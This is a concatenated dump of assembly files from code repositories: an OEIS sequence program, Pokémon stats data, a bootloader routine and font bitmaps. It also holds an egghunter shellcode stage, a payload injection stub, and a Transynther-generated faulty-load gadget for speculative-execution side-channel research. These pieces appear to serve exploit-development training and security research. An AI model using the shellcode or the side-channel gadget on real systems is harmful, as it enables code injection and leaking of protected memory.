; 0,1,2,1,4,5,1,7,8,3,1,11,2,13,14,1,16,17,3,19,2,1,22,23,4,25,26,9,1,29,2,31,32,11,34,35,1,37,38,13,4,41,2,43,44,1,46,47,8,49,5,17,52,53,9,1,2,19,58,59,4,61,62,3,64,65,1,67,68,23,7,71,2,73,74,5,76,77,1,79,8,27,82
mov $1,1
mov $2,$0
mov $3,1
mov $4,1
lpb $2
add $3,1
add $4,$3
mov $5,$0
mod $5,$4
cmp $5,0
mov $6,$4
sub $6,$1
mul $6,$5
add $1,$6
mov $5,$0
add $5,1
trn $5,$4
cmp $5,0
cmp $5,0
sub $2,$5
lpe
div $0,$1
| 20.037037
| 213
| 0.563771
|
86004a8e8d3dca9c9fdce193512c06d7826fbf76
| 703
|
asm
|
Assembly
|
data/pokemon/base_stats/cleffa.asm
|
Karkino/KarkCrystal16
|
945dde0354016f9357e9d3798312cc6efa52ff7a
|
[
"blessing"
] | null | null | null |
data/pokemon/base_stats/cleffa.asm
|
Karkino/KarkCrystal16
|
945dde0354016f9357e9d3798312cc6efa52ff7a
|
[
"blessing"
] | null | null | null |
data/pokemon/base_stats/cleffa.asm
|
Karkino/KarkCrystal16
|
945dde0354016f9357e9d3798312cc6efa52ff7a
|
[
"blessing"
] | null | null | null |
db 0 ; species ID placeholder
db 50, 35, 50, 15, 45, 65
; hp atk def spd sat sdf
db FAIRY, FAIRY ; type
db 150 ; catch rate
db 37 ; base exp
db MYSTERYBERRY, MOON_STONE ; items
db GENDER_F75 ; gender ratio
db 100 ; unknown 1
db 10 ; step cycles to hatch
db 5 ; unknown 2
INCBIN "gfx/pokemon/cleffa/front.dimensions"
db 0, 0, 0, 0 ; padding
db GROWTH_FAST ; growth rate
dn EGG_NONE, EGG_NONE ; egg groups
; tm/hm learnset
tmhm HEADBUTT, CURSE, TOXIC, ZAP_CANNON, PSYCH_UP, SUNNY_DAY, SNORE, ICY_WIND, PROTECT, RAIN_DANCE, SOLARBEAM, MOONBLAST, RETURN, PSYCHIC_M, SHADOW_BALL, DOUBLE_TEAM, SWAGGER, SLEEP_TALK, FIRE_BLAST, SWIFT, REST, ATTRACT, FLASH, FLAMETHROWER
; end
| 31.954545
| 242
| 0.71266
|
73ed452b09be3fdc15b9164c2a89cea914202586
| 450
|
asm
|
Assembly
|
oeis/116/A116410.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/116/A116410.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/116/A116410.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A116410: Expansion of (1-x-2x^2+sqrt(1-2x-3x^2))/(2*(1-2x-3x^2)).
; Submitted by Jon Maiga
; 1,1,3,8,23,66,192,561,1647,4850,14318,42351,125468,372191,1105275,3285288,9772767,29090826,86646486,258208671,769820418,2296067565,6850744365,20447143866,61045757604,182303186391,544550917797
mov $1,$0
mov $0,3
pow $0,$1
div $0,3
seq $1,2426 ; Central trinomial coefficients: largest coefficient of (1 + x + x^2)^n.
add $1,1
add $1,$0
mov $0,$1
div $0,2
| 32.142857
| 193
| 0.722222
|
06f12cb2e4fc30a061aefa62abe4c8ea132d489d
| 437
|
asm
|
Assembly
|
kernel/boot/boot-loader/print-string.asm
|
Seltzer/royston-vasey-os
|
796ce1d564fc57f76048f00e6cd9b881cdcea8fc
|
[
"MIT"
] | null | null | null |
kernel/boot/boot-loader/print-string.asm
|
Seltzer/royston-vasey-os
|
796ce1d564fc57f76048f00e6cd9b881cdcea8fc
|
[
"MIT"
] | null | null | null |
kernel/boot/boot-loader/print-string.asm
|
Seltzer/royston-vasey-os
|
796ce1d564fc57f76048f00e6cd9b881cdcea8fc
|
[
"MIT"
] | null | null | null |
;;;;;;;;
;;;
;;; Prints string at [bx] in teletype mode
;;;
print_string:
pusha
mov ah, 0x0e ; int 10H | AH=0e => BIOS teletype
loop:
; Dereference bx and print it
mov al, [bx]
; If this char is a terminator, exit
cmp al, 0
je exit
; Print character and increment pointer
int 0x10
add bx, 1
jmp loop
exit:
; Restore register and return
popa
ret
| 15.607143
| 62
| 0.546911
|
42496c8de355c4852213be96f295b5f000ac981c
| 344
|
asm
|
Assembly
|
programs/oeis/330/A330034.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/330/A330034.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/330/A330034.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A330034: a(n) = sign(cos(n)).
; 1,1,-1,-1,-1,1,1,1,-1,-1,-1,1,1,1,1,-1,-1,-1,1,1,1,-1,-1,-1,1,1,1,-1,-1,-1,1,1,1,-1,-1,-1,-1,1,1,1,-1,-1,-1,1,1,1,-1,-1,-1,1,1,1,-1,-1,-1,1,1,1,1,-1,-1,-1,1,1,1,-1,-1,-1,1,1,1,-1,-1,-1,1,1,1,-1
sub $0,1
cal $0,82964 ; a(n) = m given by arctan(tan(n)) = n - m*Pi.
gcd $0,2
mul $0,2
sub $0,1
mov $1,$0
sub $1,2
| 31.272727
| 195
| 0.459302
|
0042c5d99cb1d44bbd18a2272d836ff8f9ce1d69
| 8,402
|
asm
|
Assembly
|
Graphics/Font/SysDefault.asm
|
jaredwhitney/os3
|
05e0cda4670da093cc720d0dccbfeb29e788fa0f
|
[
"MIT"
] | 5
|
2015-02-25T01:28:09.000Z
|
2021-05-22T09:03:04.000Z
|
Graphics/Font/SysDefault.asm
|
jaredwhitney/os3
|
05e0cda4670da093cc720d0dccbfeb29e788fa0f
|
[
"MIT"
] | 38
|
2015-02-10T18:37:11.000Z
|
2017-10-03T03:08:50.000Z
|
Graphics/Font/SysDefault.asm
|
jaredwhitney/os3
|
05e0cda4670da093cc720d0dccbfeb29e788fa0f
|
[
"MIT"
] | 2
|
2016-05-06T22:48:46.000Z
|
2017-01-12T19:28:49.000Z
|
Font.order :
db 'A', 'a', 'B', 'b', 'C', 'c', 'D', 'd', 'E', 'e', 'F', 'f', 'G', 'g'
db 'H', 'h', 'I', 'i', 'J', 'j', 'K', 'k', 'L', 'l', 'M', 'm', 'N', 'n', 'O', 'o'
db 'P', 'p', 'Q', 'q', 'R', 'r', 'S', 's', 'T', 't', 'U', 'u', 'V', 'v', 'W', 'w'
db 'X', 'x', 'Y', 'y', 'Z', 'z', ' ', '.', ',', '1'
db '2', '3', '4', '5', '6', '7', '8', '9', '0', '"', 0x27, ':'
db '[', ']', '-', '=', '%', '!', '?', '(', ')', '{', '}', '<', '>', 0x9, ';', '_', '/', '\', '*', '@', '#', '$', '^', '&', '+', '|', '`', '~', 0x0, 0xFF
Font.bitmaps :
; A
db 0x04, 0x0A, 0x11, 0x1F, 0x11, 0x11, 0x11
; a
db 0x0, 0x0, 0x0
db 0b01100
db 0b10010
db 0b10010
db 0b01110
; B
db 0x1E, 0x11, 0x11, 0x1E, 0x11, 0x11, 0x1E
; b
db 0b00000
db 0b10000
db 0b10000
db 0b10000
db 0b11100
db 0b10010
db 0b01100
; C
db 0x06, 0x09, 0x10, 0x10, 0x10, 0x09, 0x06
; c
db 0b00000
db 0b00000
db 0b00000
db 0b00000
db 0b01100
db 0b10000
db 0b01100
; D
db 0b11100
db 0b10010
db 0b10001
db 0b10001
db 0b10001
db 0b10010
db 0b11100
; d
db 0b00000
db 0b00001
db 0b00001
db 0b00001
db 0b00111
db 0b01001
db 0b00110
; E
db 0b11111
db 0b10000
db 0b10000
db 0b11100
db 0b10000
db 0b10000
db 0b11111
; e
db 0b00000
db 0b00000
db 0b11110
db 0b10010
db 0b11110
db 0b10000
db 0b11110
; F
db 0b11111
db 0b10000
db 0b10000
db 0b11111
db 0b10000
db 0b10000
db 0b10000
; f
db 0b00000
db 0b00011
db 0b00100
db 0b11111
db 0b00100
db 0b00100
db 0b00100
; G
db 0b01110
db 0b10001
db 0b10000
db 0b10111
db 0b10001
db 0b10001
db 0b01111
; g
db 0b00000
db 0b00000
db 0b01110
db 0b01010
db 0b01110
db 0b00010
db 0b01100
; H
db 0b10001
db 0b10001
db 0b10001
db 0b11111
db 0b10001
db 0b10001
db 0b10001
; h
db 0b00000
db 0b10000
db 0b10000
db 0b10000
db 0b11110
db 0b10010
db 0b10010
; I
db 0b11111
db 0b00100
db 0b00100
db 0b00100
db 0b00100
db 0b00100
db 0b11111
; i
db 0b00000
db 0b00000
db 0b00100
db 0b00000
db 0b00100
db 0b00100
db 0b00100
; J
db 0b00001
db 0b00001
db 0b00001
db 0b00001
db 0b00001
db 0b01001
db 0b00110
; j
db 0b00000
db 0b00010
db 0b00000
db 0b00010
db 0b00010
db 0b10010
db 0b01100
; K
db 0b10001
db 0b10001
db 0b10010
db 0b11100
db 0b10010
db 0b10001
db 0b10001
; k
db 0b00000
db 0b10000
db 0b10010
db 0b10100
db 0b11000
db 0b10100
db 0b10010
; L
db 0b10000
db 0b10000
db 0b10000
db 0b10000
db 0b10000
db 0b10000
db 0b11111
; l
db 0b00000
db 0b00100
db 0b00100
db 0b00100
db 0b00100
db 0b00100
db 0b00100
; M
db 0b10001
db 0b10001
db 0b11011
db 0b10101
db 0b10001
db 0b10001
db 0b10001
; m
db 0b00000
db 0b00000
db 0b00000
db 0b11010
db 0b10101
db 0b10001
db 0b10001
; N
db 0b10001
db 0b11001
db 0b11001
db 0b10101
db 0b10101
db 0b10011
db 0b10001
; n
db 0b00000
db 0b00000
db 0b00000
db 0b10000
db 0b11110
db 0b10010
db 0b10010
; O
db 0b00100
db 0b01010
db 0b10001
db 0b10001
db 0b10001
db 0b01010
db 0b00100
; o
db 0b00000
db 0b00000
db 0b00000
db 0b01100
db 0b10010
db 0b10010
db 0b01100
; P
db 0b11110
db 0b10001
db 0b10001
db 0b11110
db 0b10000
db 0b10000
db 0b10000
; p
db 0b00000
db 0b00000
db 0b11110
db 0b10010
db 0b11110
db 0b10000
db 0b10000
; Q
db 0b01110
db 0b10001
db 0b10001
db 0b10001
db 0b10101
db 0b10010
db 0b01101
; q
db 0b00000
db 0b00000
db 0b11110
db 0b10010
db 0b11110
db 0b00010
db 0b00010
; R
db 0b11110
db 0b10001
db 0b10001
db 0b11110
db 0b10001
db 0b10001
db 0b10001
; r
db 0b00000
db 0b00000
db 0b00000
db 0b01110
db 0b01000
db 0b01000
db 0b01000
; S
db 0b00111
db 0b01000
db 0b01000
db 0b00100
db 0b00010
db 0b00010
db 0b11100
; s
db 0b00000
db 0b00000
db 0b11100
db 0b10000
db 0b11100
db 0b00100
db 0b11100
; T
db 0b11111
db 0b00100
db 0b00100
db 0b00100
db 0b00100
db 0b00100
db 0b00100
; t
db 0b00000
db 0b00100
db 0b00100
db 0b11111
db 0b00100
db 0b00100
db 0b00100
; U
db 0b10001
db 0b10001
db 0b10001
db 0b10001
db 0b10001
db 0b10001
db 0b01110
; u
db 0b00000
db 0b00000
db 0b00000
db 0b00000
db 0b10010
db 0b10010
db 0b01110
; V
db 0b10001
db 0b10001
db 0b10001
db 0b01010
db 0b01010
db 0b01010
db 0b00100
; v
db 0b00000
db 0b00000
db 0b00000
db 0b00000
db 0b10001
db 0b01010
db 0b00100
; W
db 0b10001
db 0b10001
db 0b10001
db 0b10101
db 0b10101
db 0b10101
db 0b01010
; w
db 0b00000
db 0b00000
db 0b00000
db 0b00000
db 0b10001
db 0b10101
db 0b01010
; X
db 0b10001
db 0b10001
db 0b01010
db 0b00100
db 0b01010
db 0b10001
db 0b10001
; x
db 0b00000
db 0b00000
db 0b10001
db 0b01010
db 0b00100
db 0b01010
db 0b10001
; Y
db 0b10001
db 0b10001
db 0b01010
db 0b01110
db 0b00100
db 0b00100
db 0b00100
; y
db 0b00000
db 0b00000
db 0b10001
db 0b01010
db 0b00100
db 0b01000
db 0b10000
; Z
db 0b11111
db 0b00001
db 0b00010
db 0b00100
db 0b01000
db 0b10000
db 0b11111
; z
db 0b00000
db 0b00000
db 0b00000
db 0b11110
db 0b00100
db 0b01000
db 0b11110
db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ; ' ' (SPACE)
db 0b00000 ; .
db 0b00000
db 0b00000
db 0b00000
db 0b00000
db 0b00000
db 0b00100
db 0b00000 ; ,
db 0b00000
db 0b00000
db 0b00000
db 0b00100
db 0b00100
db 0b01000
db 0b00100 ; 1
db 0b01100
db 0b10100
db 0b00100
db 0b00100
db 0b00100
db 0b11111
db 0b01110 ; 2
db 0b10001
db 0b00001
db 0b00010
db 0b00100
db 0b01000
db 0b11111
db 0b01110 ; 3
db 0b10001
db 0b00001
db 0b01110
db 0b00001
db 0b10001
db 0b01110
db 0b10001 ; 4
db 0b10001
db 0b10001
db 0b11111
db 0b00001
db 0b00001
db 0b00001
db 0b11111 ; 5
db 0b10000
db 0b10000
db 0b11110
db 0b00001
db 0b00001
db 0b11110
db 0b01110 ; 6
db 0b10001
db 0b10000
db 0b11110
db 0b10001
db 0b10001
db 0b01110
db 0b11111 ; 7
db 0b00001
db 0b00001
db 0b00001
db 0b00001
db 0b00001
db 0b00001
db 0b01110 ; 8
db 0b10001
db 0b10001
db 0b01110
db 0b10001
db 0b10001
db 0b01110
db 0b01110 ; 9
db 0b10001
db 0b10001
db 0b01111
db 0b00001
db 0b10001
db 0b01110
db 0b01110 ; 0
db 0b10001
db 0b10001
db 0b10101
db 0b10001
db 0b10001
db 0b01110
db 0b01010 ; "
db 0b01010
db 0b00000
db 0b00000
db 0b00000
db 0b00000
db 0b00000
db 0b00100 ; "
db 0b00100
db 0b00000
db 0b00000
db 0b00000
db 0b00000
db 0b00000
db 0b00000 ; :
db 0b00100
db 0b00000
db 0b00000
db 0b00000
db 0b00100
db 0b00000
db 0b00111 ; [
db 0b00100
db 0b00100
db 0b00100
db 0b00100
db 0b00100
db 0b00111
db 0b11100 ; ]
db 0b00100
db 0b00100
db 0b00100
db 0b00100
db 0b00100
db 0b11100
db 0b00000 ; -
db 0b00000
db 0b00000
db 0b11111
db 0b00000
db 0b00000
db 0b00000
db 0b00000 ; =
db 0b00000
db 0b11110
db 0b00000
db 0b11110
db 0b00000
db 0b00000
db 0b01001 ; %
db 0b10101
db 0b01010
db 0b00100
db 0b01010
db 0b10101
db 0b10010
db 0b00100 ; !
db 0b00100
db 0b00100
db 0b00100
db 0b00100
db 0b00000
db 0b00100
db 0b01100 ; ?
db 0b10010
db 0b00110
db 0b01000
db 0b01000
db 0b00000
db 0b01000
db 0b00100 ; (
db 0b01000
db 0b10000
db 0b10000
db 0b10000
db 0b01000
db 0b00100
db 0b00100 ; )
db 0b00010
db 0b00001
db 0b00001
db 0b00001
db 0b00010
db 0b00100
db 0b00100 ; {
db 0b01000
db 0b10000
db 0b01000
db 0b10000
db 0b10000
db 0b01000
db 0b00100 ; }
db 0b00010
db 0b00001
db 0b00010
db 0b00001
db 0b00010
db 0b00100
db 0b00001 ; <
db 0b00010
db 0b00100
db 0b01000
db 0b00100
db 0b00010
db 0b00001
db 0b10000 ; >
db 0b01000
db 0b00100
db 0b00010
db 0b00100
db 0b01000
db 0b10000
db 0b00000 ; TAB
db 0b00000
db 0b00000
db 0b00000
db 0b00000
db 0b00000
db 0b00000
db 0b00000 ; SEMICOLON
db 0b00000
db 0b00010
db 0b00000
db 0b00010
db 0b00100
db 0b01000
db 0b00000 ; _
db 0b00000
db 0b00000
db 0b00000
db 0b00000
db 0b00000
db 0b11111
db 0b00000 ; /
db 0b00001
db 0b00010
db 0b00100
db 0b01000
db 0b10000
db 0b00000
db 0b00000 ; '\'
db 0b10000
db 0b01000
db 0b00100
db 0b00010
db 0b00001
db 0b00000
db 0b00000 ; *
db 0b00100
db 0b10101
db 0b01110
db 0b10101
db 0b00100
db 0b00000
db 0b00000 ; @
db 0b01110
db 0b10001
db 0b10101
db 0b11011
db 0b10111
db 0b01110
db 0b01010 ; #
db 0b01010
db 0b11111
db 0b01010
db 0b11111
db 0b01010
db 0b01010
db 0b00100 ; $
db 0b01111
db 0b10100
db 0b01110
db 0b00101
db 0b11110
db 0b00100
db 0b00100 ; ^
db 0b01010
db 0b10001
db 0b00000
db 0b00000
db 0b00000
db 0b00000
db 0b01110 ; &
db 0b10001
db 0b10010
db 0b01100
db 0b01101
db 0b10010
db 0b01101
db 0b00000 ; +
db 0b00100
db 0b00100
db 0b11111
db 0b00100
db 0b00100
db 0b00000
db 0b00100 ; |
db 0b00100
db 0b00100
db 0b00100
db 0b00100
db 0b00100
db 0b00100
db 0b01000 ; `
db 0b00100
db 0b00000
db 0b00000
db 0b00000
db 0b00000
db 0b00000
db 0b00000 ; ~
db 0b00000
db 0b01000
db 0b10101
db 0b00010
db 0b00000
db 0b00000
db 0b00000 ; if 0x0 is drawn
db 0b00000
db 0b00000
db 0b00000
db 0b00000
db 0b00000
db 0b00000
db 0b10101
db 0b01010
db 0b10101
db 0b01010
db 0b10101
db 0b01010
db 0b10101
| 10.925878
| 152
| 0.741133
|
7d4542611227163be5edcf517306bcee5c7f74d7
| 1,034
|
nasm
|
Assembly
|
egghunter.nasm
|
SpacePlant/slae32
|
2c8c7112219e1018253d7b1957c6ad8b15f379ae
|
[
"MIT"
] | null | null | null |
egghunter.nasm
|
SpacePlant/slae32
|
2c8c7112219e1018253d7b1957c6ad8b15f379ae
|
[
"MIT"
] | null | null | null |
egghunter.nasm
|
SpacePlant/slae32
|
2c8c7112219e1018253d7b1957c6ad8b15f379ae
|
[
"MIT"
] | null | null | null |
global _start
egg equ 0x4b434148 ; "HACK" in ASCII (little endian)
section .text
_start:
; Align ECX to page boundary (page size = 4096). We don't care about the initial value of ECX (it'll wrap around).
or cx, 0xfff
continue:
inc ecx
; Call 'sigaction' to check read access of memory.
; int sigaction(int signum, const struct sigaction *act, struct sigaction *oldact): syscall 0x43
; sigaction(whatever, memory_address, whatever)
push 0x43
pop eax
int 0x80
; Check if EFAULT (= 14 -> -14 = 0xf2) is returned. If that's the case, move on to the next page.
cmp al, 0xf2
je _start
; Compare the current four bytes of memory to the egg. If it doesn't match, move on to the next address.
mov eax, egg
mov edi, ecx
scasd
jne continue
; Compare the next four bytes of memory to the egg. If it doesn't match, move on to the next address.
scasd
jne continue
; We found the egg! Jump to the payload following it.
jmp edi
| 27.945946
| 118
| 0.65764
|
9e73c314619b38e926f7ed914e7dfd2552a9103a
| 197
|
asm
|
Assembly
|
libsrc/zx81/chroma81/zx_border.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/zx81/chroma81/zx_border.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/zx81/chroma81/zx_border.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
; 01.2014 stefano
; void __FASTCALL__ zx_border(uchar colour)
PUBLIC zx_border
zx_border:
ld a,l
and 15
add 32+16 ; 32=colour enabled, 16="attribute file" mode
ld bc,7FEFh
out (c),a
ret
| 13.133333
| 57
| 0.71066
|
3469773792d4417e90d3449f1ebc9091f7aae1cf
| 814
|
asm
|
Assembly
|
bakatsugi-payload/src/payload_stub.asm
|
sammko/bakatsugi
|
06c8517bedfd66311a05aee33b3b570a5052847a
|
[
"MIT"
] | 1
|
2022-01-30T20:26:37.000Z
|
2022-01-30T20:26:37.000Z
|
bakatsugi-payload/src/payload_stub.asm
|
sammko/bakatsugi
|
06c8517bedfd66311a05aee33b3b570a5052847a
|
[
"MIT"
] | 2
|
2022-02-06T00:25:18.000Z
|
2022-02-24T00:20:51.000Z
|
bakatsugi-payload/src/payload_stub.asm
|
sammko/bakatsugi
|
06c8517bedfd66311a05aee33b3b570a5052847a
|
[
"MIT"
] | null | null | null |
bits 64
section .text
extern payload_main
entry_syscall:
jmp setflag
entry_nonsyscall:
%if (entry_nonsyscall - entry_syscall) != 2
%error "guard is not 2B"
%endif
push qword [rel self]
push qword [rel magic]
lea rdi, [rel cookie]
mov rsi, [rel close_stage2]
call payload_main
int3
setflag:
mov byte [rel flagv], 1
jmp entry_nonsyscall
global my_syscall:function
my_syscall:
mov rax, rdi ; syscall number
mov rdi, rsi
mov rsi, rdx
mov rdx, rcx
mov r10, r8
mov r8, r9
mov r9, [rsp+8] ; arg6 on stack
syscall
ret
global my_dlopen:function
my_dlopen:
jmp [rel dlopen]
section .data
magic dq 0x68637450616b6142
section .bss
cookie resb 16
self resq 1
dlopen resq 1
flagv resb 1
close_stage2 resb 1
| 15.074074
| 43
| 0.658477
|
12b3ee2be75264524fef29a598a6fadd1b0ae45a
| 7,522
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_21829_915.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_21829_915.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_21829_915.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r13
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x6f64, %rcx
nop
nop
nop
nop
xor $52091, %r10
mov $0x6162636465666768, %rdi
movq %rdi, %xmm0
movups %xmm0, (%rcx)
nop
nop
nop
nop
nop
dec %rdx
lea addresses_D_ht+0xb7fb, %r13
nop
nop
nop
nop
inc %rsi
movb (%r13), %r11b
nop
nop
add $29105, %rdi
lea addresses_UC_ht+0x1d99b, %rdi
nop
nop
nop
nop
and $16606, %r13
movb $0x61, (%rdi)
xor %rsi, %rsi
lea addresses_D_ht+0x8399, %rsi
nop
nop
nop
add %r13, %r13
movb $0x61, (%rsi)
nop
nop
nop
inc %rdx
lea addresses_normal_ht+0x13bfb, %rsi
lea addresses_normal_ht+0x919b, %rdi
and %rdx, %rdx
mov $35, %rcx
rep movsb
nop
nop
nop
nop
cmp $19896, %r13
lea addresses_D_ht+0x1359b, %rcx
clflush (%rcx)
nop
and %rdi, %rdi
mov (%rcx), %si
nop
nop
nop
sub $31811, %r10
lea addresses_WT_ht+0x1669b, %rdi
clflush (%rdi)
nop
and $47669, %r11
movb $0x61, (%rdi)
nop
nop
nop
nop
add $32378, %rsi
lea addresses_D_ht+0x9edb, %rsi
lea addresses_WT_ht+0x15613, %rdi
clflush (%rsi)
nop
xor $58135, %r11
mov $64, %rcx
rep movsw
nop
nop
nop
nop
sub $53169, %r10
lea addresses_D_ht+0x11b9b, %rdi
nop
nop
add $32759, %r11
mov $0x6162636465666768, %r10
movq %r10, %xmm5
and $0xffffffffffffffc0, %rdi
vmovaps %ymm5, (%rdi)
nop
nop
nop
nop
add $35920, %r11
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r13
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r13
push %r14
push %r15
push %rcx
// Store
lea addresses_WT+0x1d99b, %r13
nop
nop
sub %r14, %r14
mov $0x5152535455565758, %r12
movq %r12, %xmm2
vmovups %ymm2, (%r13)
dec %r10
// Store
lea addresses_A+0x1458b, %r11
nop
nop
nop
nop
nop
and $32099, %r12
mov $0x5152535455565758, %r13
movq %r13, %xmm4
vmovups %ymm4, (%r11)
nop
nop
nop
nop
cmp %r12, %r12
// Store
lea addresses_D+0x1989b, %r10
nop
nop
nop
and $19939, %rcx
movb $0x51, (%r10)
cmp %rcx, %rcx
// Store
lea addresses_US+0x159f3, %r10
clflush (%r10)
nop
and $31441, %rcx
mov $0x5152535455565758, %r15
movq %r15, (%r10)
nop
nop
nop
nop
nop
and %r15, %r15
// Load
lea addresses_D+0xd4e3, %r12
nop
nop
nop
nop
and %rcx, %rcx
mov (%r12), %r15d
nop
nop
nop
nop
cmp %r11, %r11
// Faulty Load
lea addresses_RW+0x1799b, %r13
nop
sub %r14, %r14
movb (%r13), %r11b
lea oracles, %r13
and $0xff, %r11
shlq $12, %r11
mov (%r13,%r11,1), %r11
pop %rcx
pop %r15
pop %r14
pop %r13
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': True, 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False, 'NT': True, 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 9, 'same': False}}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 